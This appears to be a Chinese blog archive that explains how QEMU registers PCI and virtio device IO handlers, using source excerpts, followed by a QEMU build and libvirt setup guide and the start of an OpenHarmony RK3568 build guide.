     * When card bus bridge is supported, this would be enhanced.
     */
    bool is_bridge;

    /* rom bar */
    const char *romfile;
};

k->realize 就是主要的初始化函数. 在realize中, 一般就会初始化对应的IO空间和绑定处理函数.

PCIDeviceClass->config_read和config_write 对应的是设备的PCI 配置空间的读写处理函数.

如果没有声明, 默认在do_pci_register_device中会赋值 pci_default_read_config/pci_default_write_config.

IO handler的初始化

static void pci_e1000_realize(PCIDevice *pci_dev, Error **errp)
{
    DeviceState *dev = DEVICE(pci_dev);
    E1000State *d = E1000(pci_dev);
    uint8_t *pci_conf;
    uint8_t *macaddr;

    pci_dev->config_write = e1000_write_config;

    pci_conf = pci_dev->config;

    /* TODO: RST# value should be 0, PCI spec 6.2.4 */
    pci_conf[PCI_CACHE_LINE_SIZE] = 0x10;

    pci_conf[PCI_INTERRUPT_PIN] = 1; /* interrupt pin A */

    e1000_mmio_setup(d);

    pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &d->mmio);

    pci_register_bar(pci_dev, 1, PCI_BASE_ADDRESS_SPACE_IO, &d->io);
    ...
}

static void
e1000_mmio_setup(E1000State *d)
{
    int i;
    const uint32_t excluded_regs[] = {
        E1000_MDIC, E1000_ICR, E1000_ICS, E1000_IMS,
        E1000_IMC, E1000_TCTL, E1000_TDT, PNPMMIO_SIZE
    };

    memory_region_init_io(&d->mmio, OBJECT(d), &e1000_mmio_ops, d,
                          "e1000-mmio", PNPMMIO_SIZE);
    memory_region_add_coalescing(&d->mmio, 0, excluded_regs[0]);
    for (i = 0; excluded_regs[i] != PNPMMIO_SIZE; i++)
        memory_region_add_coalescing(&d->mmio, excluded_regs[i] + 4,
                                     excluded_regs[i+1] - excluded_regs[i] - 4);
    memory_region_init_io(&d->io, OBJECT(d), &e1000_io_ops, d, "e1000-io", IOPORT_SIZE);
}

void memory_region_init_io(MemoryRegion *mr,
                           Object *owner,
                           const MemoryRegionOps *ops,
                           void *opaque,
                           const char *name,
                           uint64_t size)
{
    memory_region_init(mr, owner, name, size);
    mr->ops = ops ? ops : &unassigned_mem_ops;
    mr->opaque = opaque;
    mr->terminates = true;
}

static const MemoryRegionOps e1000_mmio_ops = {
    .read = e1000_mmio_read,
    .write = e1000_mmio_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
    .impl = {
        .min_access_size = 4,
        .max_access_size = 4,
    },
};
static const MemoryRegionOps e1000_io_ops = {
    .read = e1000_io_read,
    .write = e1000_io_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
};

注意, 此处的pci_dev->config_write = e1000_write_config; 是PCIDevice结构体, realize函数由 pci_qdev_realize 调取, 如下:

static void pci_qdev_realize(DeviceState *qdev, Error **errp)
{
    PCIDevice *pci_dev = (PCIDevice *)qdev;
    PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(pci_dev);
    ...
    pci_dev = do_pci_register_device(pci_dev,
                                     object_get_typename(OBJECT(qdev)),
                                     pci_dev->devfn, errp);
    if (pci_dev == NULL)
        return;

    if (pc->realize) {
        pc->realize(pci_dev, &local_err);
    }
    ...
}
static PCIDevice *do_pci_register_device(PCIDevice *pci_dev,
                                         const char *name, int devfn,
                                         Error **errp)
{
    PCIDeviceClass *pc = PCI_DEVICE_GET_CLASS(pci_dev);
    PCIConfigReadFunc *config_read = pc->config_read;
    PCIConfigWriteFunc *config_write = pc->config_write;
...
    if (!config_read)
        config_read = pci_default_read_config;
    if (!config_write)
        config_write = pci_default_write_config;
    pci_dev->config_read = config_read;
    pci_dev->config_write = config_write;
}

从顺序可以看到, realize函数在 do_pci_register_device 之后, do_pci_register_device 也会把 PCIDeviceClass->config_write 赋值给 PCIDevice->config_write. 所以最终的config_write是什么函数, 以realize为准.

e1000刚好既有IO port 又有 IO memory.

从代码可以看出, 他们的初始化大同小异. 最开始会调用 memory_region_init 初始化MemoryRegion, 之后将对应的 MemoryRegion 绑定ops. 这里, port 绑定的 e1000_io_ops, memory 绑定的e1000_mmio_ops.

memory_region_init_io 只是memory_region_init 的一个封装.

在初始化好 MemoryRegion 后, 会调用 pci_register_bar 注册它. 如下示例:

1 2	pci_register_bar(pci_dev, 0, PCI_BASE_ADDRESS_SPACE_MEMORY, &d->mmio); pci_register_bar(pci_dev, 1, PCI_BASE_ADDRESS_SPACE_IO, &d->io);

第二个参数表面了注册到PCI 配置空间的哪个bar里(参考后续的pci配置空间). 第三个参数指示该 MemoryRegion的类型是port 还是memory.

至于具体的IO port或者memory的值是多少, 取决于Guest的操作系统怎么配置PCI配置空间的. 我们可以通过 lspci -v来查看相关配置:

特殊的IO port handler

除了上述的常规注册MemoryRegionOps操作外, 还有一种注册IO handler的方法:

void portio_list_init(PortioList *piolist,
                      Object *owner,
                      const MemoryRegionPortio *callbacks,
                      void *opaque, const char *name)
{
    unsigned n = 0;

    while (callbacks[n].size) {
        ++n;
    }

    piolist->ports = callbacks;
    piolist->nr = 0;
    piolist->regions = g_new0(MemoryRegion *, n);
    piolist->address_space = NULL;
    piolist->opaque = opaque;
    piolist->owner = owner;
    piolist->name = name;
    piolist->flush_coalesced_mmio = false;
}

static const MemoryRegionOps portio_ops = {
    .read = portio_read,
    .write = portio_write,
    .endianness = DEVICE_LITTLE_ENDIAN,
    .valid.unaligned = true,
    .impl.unaligned = true,
};

static void portio_list_add_1(PortioList *piolist,
                              const MemoryRegionPortio *pio_init,
                              unsigned count, unsigned start,
                              unsigned off_low, unsigned off_high)
{
    MemoryRegionPortioList *mrpio;
    unsigned i;

    /* Copy the sub-list and null-terminate it.  */
    mrpio = g_malloc0(sizeof(MemoryRegionPortioList) +
                      sizeof(MemoryRegionPortio) * (count + 1));
    mrpio->portio_opaque = piolist->opaque;
    memcpy(mrpio->ports, pio_init, sizeof(MemoryRegionPortio) * count);
    memset(mrpio->ports + count, 0, sizeof(MemoryRegionPortio));

    /* Adjust the offsets to all be zero-based for the region.  */
    for (i = 0; i < count; ++i) {
        mrpio->ports[i].offset -= off_low;
        mrpio->ports[i].base = start + off_low;
    }

    memory_region_init_io(&mrpio->mr, piolist->owner, &portio_ops, mrpio,
                          piolist->name, off_high - off_low); // !!!!!!!!!!!!!!!
    if (piolist->flush_coalesced_mmio) {
        memory_region_set_flush_coalesced(&mrpio->mr);
    }
    memory_region_add_subregion(piolist->address_space,
                                start + off_low, &mrpio->mr);
    piolist->regions[piolist->nr] = &mrpio->mr;
    ++piolist->nr;
}

void portio_list_add(PortioList *piolist,
                     MemoryRegion *address_space,
                     uint32_t start)
{
    const MemoryRegionPortio *pio, *pio_start = piolist->ports;
    unsigned int off_low, off_high, off_last, count;

    piolist->address_space = address_space;

    /* Handle the first entry specially.  */
    off_last = off_low = pio_start->offset;
    off_high = off_low + pio_start->len + pio_start->size - 1;
    count = 1;

    for (pio = pio_start + 1; pio->size != 0; pio++, count++) {
        /* All entries must be sorted by offset.  */
        assert(pio->offset >= off_last);
        off_last = pio->offset;

        /* If we see a hole, break the region.  */
        if (off_last > off_high) {
            portio_list_add_1(piolist, pio_start, count, start, off_low,
                              off_high);
            /* ... and start collecting anew.  */
            pio_start = pio;
            off_low = off_last;
            off_high = off_low + pio->len + pio_start->size - 1;
            count = 0;
        } else if (off_last + pio->len > off_high) {
            off_high = off_last + pio->len + pio_start->size - 1;
        }
    }

    /* There will always be an open sub-list.  */
    portio_list_add_1(piolist, pio_start, count, start, off_low, off_high);
}

这种特殊的io port的handler是在行51注册的 portio_ops 来处理的, 即portio_read 和portio_write.

之后, portio_write函数通过遍历注册的port, 来调用对应的处理函数:

static const MemoryRegionPortio *find_portio(MemoryRegionPortioList *mrpio,
                                             uint64_t offset, unsigned size,
                                             bool write)
{
    const MemoryRegionPortio *mrp;

    for (mrp = mrpio->ports; mrp->size; ++mrp) {
        if (offset >= mrp->offset && offset < mrp->offset + mrp->len &&
            size == mrp->size &&
            (write ? (bool)mrp->write : (bool)mrp->read)) {
            return mrp;
        }
    }
    return NULL;
}

static uint64_t portio_read(void *opaque, hwaddr addr, unsigned size)
{
    MemoryRegionPortioList *mrpio = opaque;
    const MemoryRegionPortio *mrp = find_portio(mrpio, addr, size, false);
    uint64_t data;

    data = ((uint64_t)1 << (size * 8)) - 1;
    if (mrp) {
        data = mrp->read(mrpio->portio_opaque, mrp->base + addr);
    } else if (size == 2) {
        mrp = find_portio(mrpio, addr, 1, false);
        if (mrp) {
            data = mrp->read(mrpio->portio_opaque, mrp->base + addr);
            if (addr + 1 < mrp->offset + mrp->len) {
                data |= mrp->read(mrpio->portio_opaque, mrp->base + addr + 1) << 8;
            } else {
                data |= 0xff00;
            }
        }
    }
    return data;
}

static void portio_write(void *opaque, hwaddr addr, uint64_t data,
                         unsigned size)
{
    MemoryRegionPortioList *mrpio = opaque;
    const MemoryRegionPortio *mrp = find_portio(mrpio, addr, size, true);

    if (mrp) {
        mrp->write(mrpio->portio_opaque, mrp->base + addr, data);
    } else if (size == 2) {
        mrp = find_portio(mrpio, addr, 1, true);
        if (mrp) {
            mrp->write(mrpio->portio_opaque, mrp->base + addr, data & 0xff);
            if (addr + 1 < mrp->offset + mrp->len) {
                mrp->write(mrpio->portio_opaque, mrp->base + addr + 1, data >> 8);
            }
        }
    }
}

举例

static const MemoryRegionPortio vbe_portio_list[] = {
    { 0, 1, 2, .read = vbe_ioport_read_index, .write = vbe_ioport_write_index },
# ifdef TARGET_I386
    { 1, 1, 2, .read = vbe_ioport_read_data, .write = vbe_ioport_write_data },
# endif
    { 2, 1, 2, .read = vbe_ioport_read_data, .write = vbe_ioport_write_data },
    PORTIO_END_OF_LIST(),
};

void vga_init(VGACommonState *s, Object *obj, MemoryRegion *address_space,
              MemoryRegion *address_space_io, bool init_vga_ports)
{
    MemoryRegion *vga_io_memory;
    const MemoryRegionPortio *vga_ports, *vbe_ports;

    qemu_register_reset(vga_reset, s);

    s->bank_offset = 0;

    s->legacy_address_space = address_space;

    vga_io_memory = vga_init_io(s, obj, &vga_ports, &vbe_ports);
    memory_region_add_subregion_overlap(address_space,
                                        0x000a0000,
                                        vga_io_memory,
                                        1);
    memory_region_set_coalescing(vga_io_memory);
    if (init_vga_ports) {
        portio_list_init(&s->vga_port_list, obj, vga_ports, s, "vga");
        portio_list_set_flush_coalesced(&s->vga_port_list);
        portio_list_add(&s->vga_port_list, address_space_io, 0x3b0);
    }
    if (vbe_ports) {
        portio_list_init(&s->vbe_port_list, obj, vbe_ports, s, "vbe");
        portio_list_add(&s->vbe_port_list, address_space_io, 0x1ce);// s->vbe_portio_list 就是全局变量vbe_portio_list, 0x1ce指示了io port起始值.
    }
}

最终, 当读 0x1ce 端口的时候, 就会调用vbe_ioport_read_index函数.

其实在vmware workstation里也可以看到类似的影子, 比如访问vmci设备的时候, 也是有个封装的上层处理函数在分发.

PCI 配置空间

这里简要介绍下PCI配置空间. 当一个设备加入的时候, 设备管理器要了解这个设备是干什么的, 怎么交互, 就需要读取设备的PCI配置空间. 它结构如下:

Vendor ID：厂商ID。知名的设备厂商的ID。FFFFh是一个非法厂商ID，可它来判断PCI设备是否存在。
Device ID：设备ID。某厂商生产的设备的ID。操作系统就是凭着 Vendor ID和Device ID 找到对应驱动程序的。
Class Code：类代码。共三字节，分别是类代码、子类代码、编程接口。类代码不仅用于区分设备类型，还是编程接口的规范，这就是为什么会有通用驱动程序。
IRQ Line：IRQ编号。PC机以前是靠两片8259芯片来管理16个硬件中断。现在为了支持对称多处理器，有了APIC（高级可编程中断控制器），它支持管理24个中断。
IRQ Pin：中断引脚。PCI有4个中断引脚，该寄存器表明该设备连接的是哪个引脚。
Bars: 一个有6个bar, 具体的使用看设备本身的实现. 当虚拟机识别到它的时候, 会向该区域写入值, 指示设备的bar用哪部分端口或内存地址.

如何访问配置空间呢？可通过访问0xCF8h、0xCFCh端口来实现。

下面的代码示例了通过遍历所有的bus/dev/func组合来搜索特定的vid和did的设备的bars.

#define PCI_CONFIG_ADDRESS 0xcf8
#define PCI_CONFIG_DATA 0xcfc
#define  PCI_BASE_ADDRESS_MEM_MASK  (~0x0fUL)

u32 retrieveAddress(u32 vid, u32 did, u32 *bars) {

  u32 bus, dev, func;
  u32 dwAddr, dwData;
  int i;

  for (bus = 0; bus <= 255; bus++)
  {
    for (dev = 0; dev < 32; dev++)
    {
      for (func = 0; func < 8; func++)
      {
        dwAddr = 0x80000000 + (bus << 16) + (dev << 11) + (func << 8);
        /* read vendor id */
        outl(dwAddr, PCI_CONFIG_ADDRESS);
        dwData = inl(PCI_CONFIG_DATA);

        if ((dwData & 0xffff) == vid){// vendor id
          if (((dwData >> 16) & 0xffff) == did) {// dev id
            for (i = 0; i < 6; i++) {
              outl(dwAddr | (0x10 + i * 4), PCI_CONFIG_ADDRESS);// bar0
              dwData = inl(PCI_CONFIG_DATA);
              if (dwData & 1) {
                dwData ^= 1;
              }
              else {
                dwData &= PCI_BASE_ADDRESS_MEM_MASK;
              }
              bars[i] = dwData;
            }
            return dwAddr;
          }
        }
      }
    }
  }
  return 0;
}

对于一些现代PCIe设备, 配置空间更大, 就需要使用mmconfig来获取相应的配置信息.
可以参考PCI配置空间

半虚拟化设备Virtio

virtio设备分类两种, 一种是legacy, 一种是modern.

legacy的, 就通过IO port 管理它的配置, modern就通过IO memory 来管理它的配置

要了解virtio设备, 还需要了解它的IO配置接口.

当一个virtio设备开始加载的时候, 会调用 virtio_pci_device_plugged 去初始化它的PCI/PCIe 的 IO 空间.

static void virtio_pci_device_plugged(DeviceState *d, Error **errp)
{
    ...;
    if (modern) {
        virtio_pci_modern_regions_init(proxy, vdev->name);
        virtio_pci_modern_mem_region_map(proxy, &proxy->common, &cap);
        virtio_pci_modern_mem_region_map(proxy, &proxy->isr, &cap);
        virtio_pci_modern_mem_region_map(proxy, &proxy->device, &cap);
        virtio_pci_modern_mem_region_map(proxy, &proxy->notify, ¬ify.cap);
        pci_register_bar(&proxy->pci_dev, proxy->modern_mem_bar_idx,
                         PCI_BASE_ADDRESS_SPACE_MEMORY |
                         PCI_BASE_ADDRESS_MEM_PREFETCH |
                         PCI_BASE_ADDRESS_MEM_TYPE_64,
                         &proxy->modern_bar);
        ...
    }
    if (legacy) {
        size = VIRTIO_PCI_REGION_SIZE(&proxy->pci_dev)
            + virtio_bus_get_vdev_config_len(bus);
        size = pow2ceil(size);

        memory_region_init_io(&proxy->bar, OBJECT(proxy),
                              &virtio_pci_config_ops,
                              proxy, "virtio-pci", size);

        pci_register_bar(&proxy->pci_dev, proxy->legacy_io_bar_idx,
                         PCI_BASE_ADDRESS_SPACE_IO, &proxy->bar);
    }
}

static const MemoryRegionOps virtio_pci_config_ops = {
    .read = virtio_pci_config_read,
    .write = virtio_pci_config_write,
    .impl = {
        .min_access_size = 1,
        .max_access_size = 4,
    },
    .endianness = DEVICE_LITTLE_ENDIAN,
};

static void virtio_pci_modern_regions_init(VirtIOPCIProxy *proxy,
                                           const char *vdev_name)
{
    static const MemoryRegionOps common_ops = {
        .read = virtio_pci_common_read,
        .write = virtio_pci_common_write,
        .impl = {
            .min_access_size = 1,
            .max_access_size = 4,
        },
        .endianness = DEVICE_LITTLE_ENDIAN,
    };
    static const MemoryRegionOps isr_ops = {
        .read = virtio_pci_isr_read,
        .write = virtio_pci_isr_write,
        .impl = {
            .min_access_size = 1,
            .max_access_size = 4,
        },
        .endianness = DEVICE_LITTLE_ENDIAN,
    };
    static const MemoryRegionOps device_ops = {
        .read = virtio_pci_device_read,
        .write = virtio_pci_device_write,
        .impl = {
            .min_access_size = 1,
            .max_access_size = 4,
        },
        .endianness = DEVICE_LITTLE_ENDIAN,
    };
    static const MemoryRegionOps notify_ops = {
        .read = virtio_pci_notify_read,
        .write = virtio_pci_notify_write,
        .impl = {
            .min_access_size = 1,
            .max_access_size = 4,
        },
        .endianness = DEVICE_LITTLE_ENDIAN,
    };
    static const MemoryRegionOps notify_pio_ops = {
        .read = virtio_pci_notify_read,
        .write = virtio_pci_notify_write_pio,
        .impl = {
            .min_access_size = 1,
            .max_access_size = 4,
        },
        .endianness = DEVICE_LITTLE_ENDIAN,
    };
    g_autoptr(GString) name = g_string_new(NULL);

    g_string_printf(name, "virtio-pci-common-%s", vdev_name);
    memory_region_init_io(&proxy->common.mr, OBJECT(proxy),
                          &common_ops,
                          proxy,
                          name->str,
                          proxy->common.size);

    g_string_printf(name, "virtio-pci-isr-%s", vdev_name);
    memory_region_init_io(&proxy->isr.mr, OBJECT(proxy),
                          &isr_ops,
                          proxy,
                          name->str,
                          proxy->isr.size);

    g_string_printf(name, "virtio-pci-device-%s", vdev_name);
    memory_region_init_io(&proxy->device.mr, OBJECT(proxy),
                          &device_ops,
                          proxy,
                          name->str,
                          proxy->device.size);

    g_string_printf(name, "virtio-pci-notify-%s", vdev_name);
    memory_region_init_io(&proxy->notify.mr, OBJECT(proxy),
                          ¬ify_ops,
                          proxy,
                          name->str,
                          proxy->notify.size);

    g_string_printf(name, "virtio-pci-notify-pio-%s", vdev_name);
    memory_region_init_io(&proxy->notify_pio.mr, OBJECT(proxy),
                          ¬ify_pio_ops,
                          proxy,
                          name->str,
                          proxy->notify_pio.size);
}

static void virtio_pci_modern_mem_region_map(VirtIOPCIProxy *proxy,
                                             VirtIOPCIRegion *region,
                                             struct virtio_pci_cap *cap)
{
    virtio_pci_modern_region_map(proxy, region, cap,
                                 &proxy->modern_bar, proxy->modern_mem_bar_idx);
}

static void virtio_pci_modern_region_map(VirtIOPCIProxy *proxy,
                                         VirtIOPCIRegion *region,
                                         struct virtio_pci_cap *cap,
                                         MemoryRegion *mr,
                                         uint8_t bar)
{
    memory_region_add_subregion(mr, region->offset, ®ion->mr);

    cap->cfg_type = region->type;
    cap->bar = bar;
    cap->offset = cpu_to_le32(region->offset);
    cap->length = cpu_to_le32(region->size);
    virtio_pci_add_mem_cap(proxy, cap);

}

上面可以明显看到, 如果是modern类型, 就会调用 virtio_pci_modern_regions_init 注册很多个MemoryRegion, 之后调用 virtio_pci_modern_mem_region_map 重新映射到 proxy->modern_bar 这个region里, 之后是如下的调用

pci_register_bar(&proxy->pci_dev, proxy->modern_mem_bar_idx,
                         PCI_BASE_ADDRESS_SPACE_MEMORY |
                         PCI_BASE_ADDRESS_MEM_PREFETCH |
                         PCI_BASE_ADDRESS_MEM_TYPE_64,
                         &proxy->modern_bar);

把 modern_bar 注册为IO memory.

而如果是legacy类型, 只是注册了一个IO port. 如下所示:

1 2	pci_register_bar(&proxy->pci_dev, proxy->legacy_io_bar_idx, PCI_BASE_ADDRESS_SPACE_IO, &proxy->bar);

通过访问这些IO, 就可以管理virtio设备.

Virtio设备的注册

在qemu中, virtio设备需要挂载在virtio-pci上. 一般来说, virtio设备的特点在于它大部分的实现都在内核, 用户态只需要配置基础的信息即可. 但是qemu本身也实现了一些相关设备的用户态实现, 比如virtio-net, 当启用vhost的时候, 它用户态基本上不做什么操作, 当未启用vhost时, 它的实现就在用户态的virtio-net.c文件中.

virtio设备主要关注的是它的VirtQueue的注册.

以 virtio-net 未启用vhost的情况举例

static void virtio_net_device_realize(DeviceState *dev, Error **errp)
{
    ...
    for (i = 0; i < n->max_queue_pairs; i++) {
        virtio_net_add_queue(n, i);
    }

    n->ctrl_vq = virtio_add_queue(vdev, 64, virtio_net_handle_ctrl);
}

static void virtio_net_add_queue(VirtIONet *n, int index)
{
    VirtIODevice *vdev = VIRTIO_DEVICE(n);

    n->vqs[index].rx_vq = virtio_add_queue(vdev, n->net_conf.rx_queue_size,
                                           virtio_net_handle_rx);

    if (n->net_conf.tx && !strcmp(n->net_conf.tx, "timer")) {
        n->vqs[index].tx_vq =
            virtio_add_queue(vdev, n->net_conf.tx_queue_size,
                             virtio_net_handle_tx_timer);
        n->vqs[index].tx_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL,
                                              virtio_net_tx_timer,
                                              &n->vqs[index]);
    } else {
        n->vqs[index].tx_vq =
            virtio_add_queue(vdev, n->net_conf.tx_queue_size,
                             virtio_net_handle_tx_bh);
        n->vqs[index].tx_bh = qemu_bh_new(virtio_net_tx_bh, &n->vqs[index]);
    }

    n->vqs[index].tx_waiting = 0;
    n->vqs[index].n = n;
}

VirtQueue *virtio_add_queue(VirtIODevice *vdev, int queue_size,
                            VirtIOHandleOutput handle_output)
{
    int i;

    for (i = 0; i < VIRTIO_QUEUE_MAX; i++) {
        if (vdev->vq[i].vring.num == 0)
            break;
    }

    if (i == VIRTIO_QUEUE_MAX || queue_size > VIRTQUEUE_MAX_SIZE)
        abort();

    vdev->vq[i].vring.num = queue_size;
    vdev->vq[i].vring.num_default = queue_size;
    vdev->vq[i].vring.align = VIRTIO_PCI_VRING_ALIGN;
    vdev->vq[i].handle_output = handle_output;
    vdev->vq[i].handle_aio_output = NULL;
    vdev->vq[i].used_elems = g_malloc0(sizeof(VirtQueueElement) *
                                       queue_size);

    return &vdev->vq[i];
}

重点关注 virtio_add_queue 函数的调用即可. 它用来向virtio-pci注册每个queue对应的处理函数. 比如n->ctrl_vq = virtio_add_queue(vdev, 64, virtio_net_handle_ctrl); 就是注册了size为64的VirtQueue, 对ctrl_vq的访问都会触发 virtio_net_handle_ctrl 函数调用.

virtio设备的访问

以virtio-net设备为例, 假设注册的是legacy类型, 那么通过访问它的port, 就可以调用到virtio-pci的 virtio_pci_config_write->virtio_ioport_write 函数.

static void virtio_ioport_write(void *opaque, uint32_t addr, uint32_t val)
{
    VirtIOPCIProxy *proxy = opaque;
    VirtIODevice *vdev = virtio_bus_get_device(&proxy->bus);
    hwaddr pa;

    switch (addr) {
    case VIRTIO_PCI_GUEST_FEATURES:
        /* Guest does not negotiate properly?  We have to assume nothing. */
        if (val & (1 << VIRTIO_F_BAD_FEATURE)) {
            val = virtio_bus_get_vdev_bad_features(&proxy->bus);
        }
        virtio_set_features(vdev, val);
        break;
    case VIRTIO_PCI_QUEUE_SEL:
        if (val < VIRTIO_QUEUE_MAX)
            vdev->queue_sel = val;
        break;
    case VIRTIO_PCI_QUEUE_NOTIFY:
        if (val < VIRTIO_QUEUE_MAX) {
            virtio_queue_notify(vdev, val);
        }
        break;
    ...
    }
}

假设case是 VIRTIO_PCI_QUEUE_NOTIFY

void virtio_queue_notify(VirtIODevice *vdev, int n)
{
    VirtQueue *vq = &vdev->vq[n];

    if (unlikely(!vq->vring.desc || vdev->broken)) {
        return;
    }

    trace_virtio_queue_notify(vdev, vq - vdev->vq, vq);
    if (vq->host_notifier_enabled) {
        event_notifier_set(&vq->host_notifier);
    } else if (vq->handle_output) {
        vq->handle_output(vdev, vq);

        if (unlikely(vdev->start_on_kick)) {
            virtio_set_started(vdev, true);
        }
    }
}

从上面可以看到, 它实际是通过vdev->vq来获取相关的VirtQueue的, 而上面virtio-net初始化的时候, max_queue_pairs是1, 所以它最终只初始化了3个queue. 按照初始化时调用virtio_add_queue的顺序, vq[0]就是rx_vq, vq[1]是tx_vq, vq[2]是ctrl_vq. 所以如果n是0, 最后调用的vq->handle_output 就会是 virtio_net_handle_rx 函数.

qemu编译简单指南一个 :)

2023-02-22T11:54:44.243Z

简单的qemu编译说明, 其它有关的网络和管理配置等 :)

qemu编译

登录官方网站直接下载源码包（例如文件名为qemu-2.8.0.tar.bz2）
解压文件tar –jxvf qemu-2.8.0.tar.bz2

安装依赖库
Ubuntu系统

sudo apt-get install -y zlib1g-dev 
sudo apt-get install -y libglib2.0-dev 
sudo apt-get install -y autoconf2.13 
sudo apt-get install -y libtool 
sudo apt-get install -y libgtk2.0-dev 
以下组件可选, 针对更新的版本, 比如5.x, 6.x
sudo apt-get install ninja-build
sudo apt-get install libpixman-1-dev

Centos系统

yum install zlib-devel.x86_64 -y 
yum install gtk2-devel –y 
yum install autoconf 
yum install gettext 
yum install flex 
yum install bison
以下安装包可选
yum install ninja-build
yum install spice-server-devel

编译安装

cd qemu-2.8.0 
./configure  --enable-kvm  --enable-debug  --target-list=x86_64-softmmu
make -j 4  #注意, 此处的4与虚拟机或者物理机的逻辑处理器个数一样. 可以比物理的数量更小,不要超过.
sudo make install

kvm

Ubuntu系统 sudo apt install qemu-kvm
其它Linux系统 yum install qemu-kvm.x86_64
注意查看cat /proc/cpuinfo |grep -E "vmx|svm" 是否有结果, 如果没有, 记得启动vmware的cpu的虚拟化intel VT-x选项.

创建虚拟机

假设创建一个虚拟机硬盘为10G:
qemu-img create -f qcow2 centos.img 10G

通过iso创建安装系统
qemu-system-x86_64 -m 256 -hda centos.img -cdrom winxpsp2.iso -enable-kvm

如果默认没有虚拟机界面, 可以安装vncviewer查看

1	sudo apt-get install tigervnc-viewer

安装完成后, 启动qemu会提示连接 127.0.0.1:5900, 我们使用vncviewer ::5900 连接即可

使libvirt启动我们编译的qemu版本

如果使用libvirt创建过虚拟机, 那么可以在 /etc/libvirt/qemu/找到虚拟机对应的xml文件. 修改下列参数:

1	/usr/bin/qemu-system-x86_64

改成自己编译的qemu文件目录. 比如/home/vv/qemu-6.2.0/build/qemu-system-x86_64

对于ubuntu, 还需要修改沙箱配置, 给libvirt配置访问权限.

先使用sudo aa-status查看是否包含/usr/sbin/libvirtd, 如果包含, 说明启用了apparmor.

修改以下文件/etc/apparmor.d/usr.sbin.libvirtd, 在下列类似列后面添加以下内容:

1 2	/usr/bin/kvm rmix, 这行默认就有 /home/vv/qemu-6.2.0/** rmix, 将我们的qemu目录添加到沙箱

还有/etc/apparmor.d/abstractions/libvirt-qemu:

1 2	/usr/bin/kvm rmix, 这行默认就有 /home/vv/qemu-6.2.0/** rmix, 将我们的qemu目录添加到沙箱

之后重新加载规则sudo systemctl reload apparmor

这样libvirt应该就可以正常启用它了.

如果没有启用apparmor还存在权限问题, 就把selinux暂时关闭: setenforce 0
更多apparmor的语法规则, 参考 Apparmor 配置文件组件和语法

如果希望virt-manager能启用我们的qemu, 还需要为qemu添加两个编译组件:

1 2	yum install qemu-device-usb-redirect.x86_64 usbredir.x86_64 usbredir-devel.x86_64 yum install spice-server-devel spice-protocol spice-server

如果是ubuntu, 请使用sudo apt install libspice-server-dev libusbredirparser-dev .

并确保./configure --enable-kvm --enable-debug --target-list=x86_64-softmmu --enable-spice 输出以下内容:

1
2
3

spice support: YES
libusb: YES
usb net redir: YES

之后重新编译qemu.

然后在virt-manager的 Edit->Preferences->General勾选 Enable XML editing. 之后按照如下修改:

下一次启动虚拟机就可以生效了(使用virt-manager也需要设置沙箱权限).

参考: Changing libvirt emulator: Permission denied

其它使用和研究参考资料

qemu及kvm软件安全研究简介

qemu命令行网络相关参数详解

给qemu配置tap

配置tap前记得先安装 bridge-utils, uml-utilities

virtualhole——qemu安全入门练习题

这个练习题既可以加深你对虚拟化漏洞的理解, 也可以提高你的利用技巧, 虚拟化入门必选

Scavenger: Misuse Error Handling Leading to Qemu/KVM Escape

CVE-2020-14364-Qemu逃逸漏洞分析及两种利用思路

Slirp QEMU escape

Virtio and Vhost Architecture part1

Virtio and Vhost Architecture part2

HEXACON2024 - DMAKiller: DMA to Escape from QEMU/KVM by Yongkang Jia, Yiming Tao & Xiao Lei

错误处理

ERROR: glib-2.56 gthread-2.0 is required to compile QEMU

这个应该是没有装好glib相关的东西, 执行sudo apt install libglib2.0-dev安装, 如果出现如下错误:

The following packages have unmet dependencies:
libglib2.0-dev : Depends: libglib2.0-0 (= 2.64.6-1~ubuntu20.04.3) but 2.64.6-1~ubuntu20.04.4 is to be installed
               Depends: libglib2.0-bin (= 2.64.6-1~ubuntu20.04.3)
               Depends: zlib1g-dev but it is not going to be installed
E: Unable to correct problems, you have held broken packages.

先安装libglib2.0-0, sudo apt install libglib2.0-0=2.64.6-1~ubuntu20.04.3

警告!!! 更改libglib2.0-0的版本可能导致ubuntu 20.04的桌面启动出问题, 重启后将进不了桌面.

Depends: zlib1g (= 1:1.2.11.dfsg-2ubuntu1) but 1:1.2.11.dfsg-2ubuntu1.2 is to be installed

如果安装zlib1g-dev失败出现如下错误:

$ sudo apt install zlib1g-dev
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
zlib1g-dev : Depends: zlib1g (= 1:1.2.11.dfsg-2ubuntu1) but 1:1.2.11.dfsg-2ubuntu1.2 is to be installed
E: Unable to correct problems, you have held broken packages.

又提示依赖的版本不对, 用如下方法安装

1	sudo apt install zlib1g=1:1.2.11.dfsg-2ubuntu1

再重新安装sudo apt install zlib1g-dev libglib2.0-dev

OpenHarmony测试指南

2023-02-22T11:54:44.228Z

官方虽然有不少资料, 但是都很分散, 我整理一下关于rk3568的测试资料, 方便大家参考.

系统编译

参照搭建开发环境准备好Ubuntu环境和windows的vscode环境, 完成remote-ssh连接.
准备好源码, 参考创建OpenHarmony工程章节, 自动获取源码, 或者导入自己存在的源码.
可以从此处获取源码

对于rk3568设备, 参考编译RK3568开发板源码章节的1,2,3的内容. 准备好后, 参考HiHope_DAYU200/开发环境搭建编译指南, 安装需要的组件, 如下:

sudo apt-get install binutils git git-lfs gnupg flex
bison gperf build-essential zip curl zlib1g-dev gcc-multilib g++-multilib
libc6-dev-i386 lib32ncurses5-dev x11proto-core-dev libx11-dev lib32z1-dev ccache
libgl1-mesa-dev libxml2-utils xsltproc unzip m4 bc gnutls-bin python3.8
python3-pip ruby libtinfo-dev libtinfo5

如果安装有问题, 可以考虑使用aptitude来解决.

最后可以执行./build.sh --product-name rk3568 --target-cpu arm64 --ccache编译64位系统.

如果不想编译, 可以访问openharmony 数字化协作平台, 选择”CICD-每日构建” 找到想要的版本的编译后文件.

如果烧录后不能正常启动, 就换一个版本, 省时间.

rk3568系统烧录

参考烧录指导文档

按照如图所示连接电源线, 串口线, usb线
下载驱动工具
